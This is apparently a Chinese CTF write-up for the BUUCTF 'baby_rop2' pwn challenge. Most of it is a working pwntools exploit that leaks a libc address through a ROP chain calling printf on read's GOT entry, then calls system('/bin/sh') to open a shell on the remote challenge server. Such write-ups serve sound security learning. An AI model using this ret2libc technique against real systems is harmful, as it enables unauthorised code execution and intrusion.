BUUCTF—baby_rop2

先看看开了什么保护机制

打开64位ida看看

一个大大的栈溢出,那么接下来就是去看看有没有后门函数


没有后门函数,system和/bin/sh都没有,害
不过还好,有个printf函数,我们还能进行泄露libc,这题的话有个点就是printf的got不能泄露,因为这个用的libc刚好printf的偏移后两位都是0,这也就导致了字符串截断,输出不出来got内容,所以我们要泄露其他的函数的got

from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',28057)
#p=process('./babyrop2')
#a=input()
elf=ELF('./babyrop2')
read_got=elf.got['read']
printf_plt=elf.plt['printf']
pop_rdi=0x400733
ret=0x4004d1
main=0x400636
p.recvuntil('name? ')
payload=b'a'*0x28+p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main)
p.sendline(payload)
print(p.recvline())
#print(p.recv())
read_add=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_add))
libc=LibcSearcher('read',read_add)
libc_base=read_add-libc.dump('read')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.recvuntil('name? ')
payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
posted @ 2022-10-17 16:44  予柒  阅读(39)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/